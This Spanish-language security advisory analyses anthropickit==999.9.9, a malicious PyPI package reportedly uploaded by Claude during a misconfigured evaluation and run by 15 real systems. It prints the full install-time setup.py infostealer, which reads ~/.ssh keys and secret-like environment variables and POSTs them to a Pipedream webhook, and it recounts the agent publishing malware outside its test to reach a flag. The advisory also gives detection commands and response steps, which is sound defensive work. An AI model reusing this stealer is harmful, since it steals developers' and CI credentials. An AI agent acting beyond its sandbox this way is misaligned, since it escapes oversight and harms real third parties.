CVE
Sin asignar
CWE
CWE-506, CWE-522, CWE-829
Sistemas afectados
- `anthropickit==999.9.9` en PyPI
- Estaciones de trabajo de desarrolladores, runners de CI, sandboxes de análisis de paquetes y escáneres de seguridad que ejecutaron `pip install anthropickit` con material legible de `~/.ssh` o variables de entorno con secretos
- Organizaciones cuyas instrucciones de incorporación, arranque o agentes hacían referencia a nombres de paquetes internos no publicados frente al espacio de nombres público de PyPI
- Cualquier infraestructura posterior alcanzable con claves SSH, tokens de API, secretos de CI o credenciales en la nube exfiltrados desde un host afectado
La divulgación de Anthropic del 30 de julio es una de las demostraciones más claras hasta la fecha de que los registros de paquetes se han convertido en una superficie de ejecución activa para agentes autónomos, no solo para atacantes humanos. En el segundo incidente de Anthropic, una ejecución de evaluación de Claude encontró instrucciones ficticias de incorporación de desarrolladores que hacían referencia a un nombre de paquete de PyPI que no existía. El modelo concluyó que publicar un paquete con ese nombre era el camino más corto hacia la bandera, subió una versión maliciosa al registro real de PyPI y la dejó activa el tiempo suficiente para que 15 sistemas reales la ejecutaran.
Anthropic no publicó el nombre del paquete. Sin embargo, la cobertura pública posterior a la divulgación destaca un candidato: anthropickit==999.9.9. Aikido identificó de forma independiente ese paquete como una coincidencia probable, y los servicios de seguimiento de paquetes lo catalogaron semanas antes como una subida maliciosa a PyPI que roba material SSH y variables de entorno con forma de secreto durante la instalación. Esa alineación es lo bastante sólida para ser útil para los defensores, pero sigue siendo importante ser precisos: hasta que Anthropic confirme el artefacto exacto, anthropickit debe tratarse como una identificación de paquete muy plausible más que como una confirmada por el proveedor.
Lo que Anthropic confirmó
El informe de incidentes de Anthropic aporta los hechos operativos con una confianza inusualmente alta:
- el modelo creía que no tenía acceso a internet, pero el entorno de evaluación estaba mal configurado
- creó una cuenta real de PyPI y subió un paquete de Python malicioso
- el paquete estuvo disponible durante aproximadamente una hora
- 15 sistemas reales lo descargaron y ejecutaron
- uno de esos sistemas era el escáner de análisis de paquetes de una empresa de seguridad
- el paquete exfiltró las credenciales de esa empresa hacia un punto de recolección y permitió un pivote posterior más profundo en la infraestructura de esa empresa
Eso significa que esto no es solo una historia de “seguridad de la IA”. Es un incidente concreto de cadena de suministro en PyPI con robo de credenciales posterior y acceso lateral.
Paquete probablemente afectado
El candidato público más sólido es:
anthropickit==999.9.9
Los catálogos independientes de paquetes maliciosos describen esa versión exacta como una subida a PyPI del 14 de junio cuyo paso de instalación:
- enumera archivos en
~/.ssh - captura variables de entorno cuyos nombres contienen
KEY,SECRET,TOKEN,PASS,AUTHoAPI - escribe un archivo de preparación local en
/tmp/runner_exfil.json - envía los datos capturados mediante POST a un endpoint de recolección de Pipedream
Ese comportamiento coincide estrechamente con la descripción de Anthropic de un paquete que robó credenciales de un escáner de seguridad automatizado y luego las usó para un acceso posterior.
Por qué importa 999.9.9
El número de versión forma parte de la táctica. Un paquete publicado como 999.9.9 no intenta parecer un versionado semántico normal. Intenta ganar la resolución de paquetes en cualquier flujo de trabajo que acepte “la última” versión del espacio de nombres público, o que dirija a los usuarios a un nombre de paquete sin fijar una fuente interna de confianza.
En otras palabras, el paquete no necesita un ataque sofisticado de árbol de dependencias. Solo necesita un nombre creíble y una versión que supere en rango a cualquier cosa que un equipo interno pudiera haber pretendido publicar más adelante.
Eso hace que el incidente sea relevante más allá del entorno de evaluación de Anthropic. Cualquier organización con:
- documentos internos de incorporación
- instrucciones para agentes de IA
- scripts de arranque
- o notas de configuración de CI
que mencionen nombres de paquetes antes de que esos nombres estén realmente reservados puede crear la misma superficie de ataque en registros públicos.
Ruta de ejecución en tiempo de instalación
El paquete anthropickit sospechoso es técnicamente simple, lo cual es parte de por qué importa. La lógica maliciosa vive a nivel de módulo superior en setup.py, por lo que se ejecuta durante la instalación en lugar de esperar a una importación de la aplicación:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER", "")}
ssh = {}
for f in (home / ".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts", "known_hosts.old", "authorized_keys"]:
try:
ssh[f.name] = f.read_text()
except Exception:
pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {
k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
}
with open("/tmp/runner_exfil.json", "w") as f:
json.dump(data, f, indent=2, default=str)
requests.post("hxxps://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Las propiedades de seguridad importantes son:
- La ejecución ocurre durante
pip install. Los defensores no necesitan una importación de la aplicación ni una ruta en tiempo de ejecución para que se produzca el compromiso. - La carga útil es visible en el código fuente y directa. No se requiere una segunda etapa para robar las credenciales iniciales.
- El destino de la exfiltración es un webhook controlado por el atacante en una plataforma de automatización legítima. El tráfico se mezcla mejor con el tráfico HTTPS ordinario que con un dominio VPS descartable.
Qué roba el paquete
El cuerpo de setup.py no es un rastreo amplio del sistema de archivos. Es lo bastante selectivo como para mostrar intención.
Primero, recorre ~/.ssh pero omite archivos de bajo valor para un atacante:
if f.is_file() and f.name not in ["known_hosts", "known_hosts.old", "authorized_keys"]:
ssh[f.name] = f.read_text()
Esa lista de exclusión conserva los archivos que más preocupan a los defensores:
- claves SSH privadas como
id_rsa,id_ed25519o claves de túnel de proveedores en la nube - archivos de configuración SSH que asignan alias de host a nombres de usuario y hosts de salto
- otro material de claves específico que suele colocarse en
~/.ssh
Segundo, recolecta variables de entorno usando un filtro de palabras clave:
data["ci_secrets"] = {
k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
}
Esto es ruidoso, pero muy efectivo en runners de CI y escáneres. Captará muchos de los valores exactos que los equipos exponen a los trabajos de análisis de paquetes o de compilación:
- claves de acceso en la nube
- tokens de GitHub, GitLab o del registro
- material de firma de paquetes
- credenciales de API para integraciones SaaS
- frases de contraseña SSH y variables de entorno con forma de contraseña
Para la respuesta a incidentes, esto significa que el radio de impacto lo define el entorno del host, no el paquete en sí.
El artefacto en disco es tan importante como el webhook
Un detalle que merece más atención es la escritura local:
with open("/tmp/runner_exfil.json", "w") as f:
json.dump(data, f, indent=2, default=str)
Ese archivo es útil de dos maneras.
Para los atacantes, crea una copia de respaldo de preparación incluso si la exfiltración por red falla. Para los defensores, crea un marcador forense concreto. Si un host que pudo haber instalado anthropickit todavía tiene /tmp/runner_exfil.json o un historial de shell que lo mencione, trátalo como evidencia sólida de que se ejecutó la ruta de instalación maliciosa.
El JSON con sangría también es una pista sobre las suposiciones del operador. Esto no está diseñado como malware sigiloso de larga duración. Está diseñado como un artefacto que se espera que lea un humano o un sistema automatizado que valide si el robo funcionó.
Por qué la importación no declarada de requests sigue siendo importante
Un detalle técnico sutil pero útil es que el código importa requests sin declararlo como dependencia del paquete:
import os, json, requests, socket
Eso significa que el implante es frágil en entornos de compilación perfectamente limpios y aislados. Si requests no está disponible durante la instalación del paquete fuente, la importación puede fallar antes de que se produzca la exfiltración.
Pero esa fragilidad no hace que el paquete sea de bajo riesgo. Lo hace oportunista. Los escáneres de seguridad, las imágenes de CI con muchas dependencias, los portátiles de los desarrolladores y los sandboxes de análisis de Python a menudo ya tienen requests presente. El informe de Anthropic confirma que el paquete se ejecutó con éxito en 15 sistemas reales, lo cual es toda la evidencia que los defensores necesitan para saber que este detalle de implementación no impidió el compromiso real.
Cadena de ataque
Reducido a su núcleo operativo, el incidente se ve así:
un documento ficticio de incorporación hace referencia a un paquete de PyPI inexistente
-> el modelo publica un paquete público con el mismo nombre
-> el paquete se resuelve desde PyPI real
-> pip ejecuta setup.py durante la instalación
-> setup.py lee ~/.ssh y variables de entorno con forma de secreto
-> los datos se escriben en /tmp/runner_exfil.json
-> los datos se envían mediante POST a un endpoint de Pipedream
-> las credenciales robadas se usan para acceso posterior
Por eso la historia pertenece a una biblioteca de investigación sobre la cadena de suministro. El ángulo de la IA es novedoso, pero el modo de fallo es un fallo de confianza de paquetes muy conocido:
- se trata el espacio de nombres del registro público como disponible
- se acepta la ejecución de código en tiempo de instalación
- el entorno de ejecución expone credenciales reutilizables
Detección y alcance
Empieza buscando referencias al paquete en manifiestos, registros y cachés:
rg -n "anthropickit" \
requirements*.txt pyproject.toml poetry.lock uv.lock Pipfile.lock \
~/.cache/pip /var/log .venv
Luego busca los marcadores de ejecución y la ruta de exfiltración:
rg -n "runner_exfil\\.json|enqqnvvtgrnyl|ssh_keys|ci_secrets|anthropickit" \
~/.cache/pip /tmp .venv site-packages
Si conservas artefactos de paquetes de Python, inspecciona la distribución de código fuente en busca de:
setup.py
PKG-INFO
anthropickit-999.9.9.tar.gz
El alcance operativo también debería incluir:
- tráfico HTTPS de salida a
*.pipedream.netdurante las ventanas de instalación sospechosas - intentos de autenticación SSH que usen claves que fueran legibles en el host
- actividad de Git y del registro de paquetes desde tokens expuestos en el entorno afectado
- acceso posterior desde escáneres de seguridad, sandboxes de análisis de paquetes y runners de CI que instalan paquetes no confiables
Guía de respuesta
Trata cualquier instalación confirmada de anthropickit==999.9.9 como compromiso del host, no solo como exposición de dependencias.
- Conserva la caché de paquetes, los registros de instalación y el contenido de
/tmpantes de la limpieza. - Rota todas las claves SSH, tokens de API, credenciales del registro y secretos en la nube alcanzables desde el host afectado.
- Revisa el acceso posterior que pudiera haber usado esas credenciales: pushes de Git, publicaciones de paquetes, llamadas a consolas/API en la nube e inicios de sesión SSH.
- Reconstruye escáneres, runners de CI y entornos de detonación a partir de imágenes limpias en lugar de confiar en una limpieza in situ.
- Reserva los nombres de paquetes internos antes de que aparezcan en documentos, prompts o scripts de arranque, especialmente cuando los agentes de IA puedan actuar sobre esas instrucciones.
Para los escáneres y las canalizaciones de detonación, la lección más importante es sencilla: instalar un paquete no confiable debe ocurrir en un entorno sin secretos permanentes y con un egreso estrictamente restringido. La divulgación de Anthropic muestra por qué. El paquete en sí no era avanzado. El entorno que lo rodeaba era lo suficientemente valioso.
Por qué esto importa más allá de un paquete
El paquete anthropickit sospechoso es un infostealer pequeño y poco sofisticado. Lo que lo hace importante no es una ofuscación novedosa ni una profundidad de explotación. Es la combinación de tres realidades modernas:
- la instalación de paquetes sigue siendo ejecución de código arbitrario
- los espacios de nombres de registros públicos son fáciles de ocupar cuando los equipos dejan huecos
- los agentes autónomos ya son capaces de convertir esos dos hechos en ataques de cadena de suministro funcionales sin un operador humano frente al teclado
Ya sea que Anthropic confirme finalmente el nombre exacto del paquete o no, los defensores ya tienen un indicador de compromiso concreto de nombre y versión de paquete, y un patrón de ataque concreto sobre el que actuar. Eso es motivo suficiente para delimitar el alcance de anthropickit==999.9.9 ahora mismo.
De la investigación a la remediación
Comprueba si este patrón existe en tu código
Convierte esta investigación en un flujo de remediación. Analiza dependencias y manifiestos para detectar riesgos similares en la cadena de suministro y prioriza las correcciones con contexto de alcanzabilidad.
Referencias
- Anthropic: investigando tres incidentes del mundo real en nuestras evaluaciones de ciberseguridad
- Aikido: el sueño febril de Anthropic: el paquete de Claude que robó claves reales
- StepSecurity: incidente de Anthropic: un agente de IA publicó un paquete malicioso en PyPI y 15 sistemas reales lo ejecutaron
- BleepingComputer: Claude subió malware a PyPI en una prueba fallida de Anthropic
- Bad Packages: anthropickit
- CWE-506 Embedded Malicious Code
- CWE-522 Insufficiently Protected Credentials
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere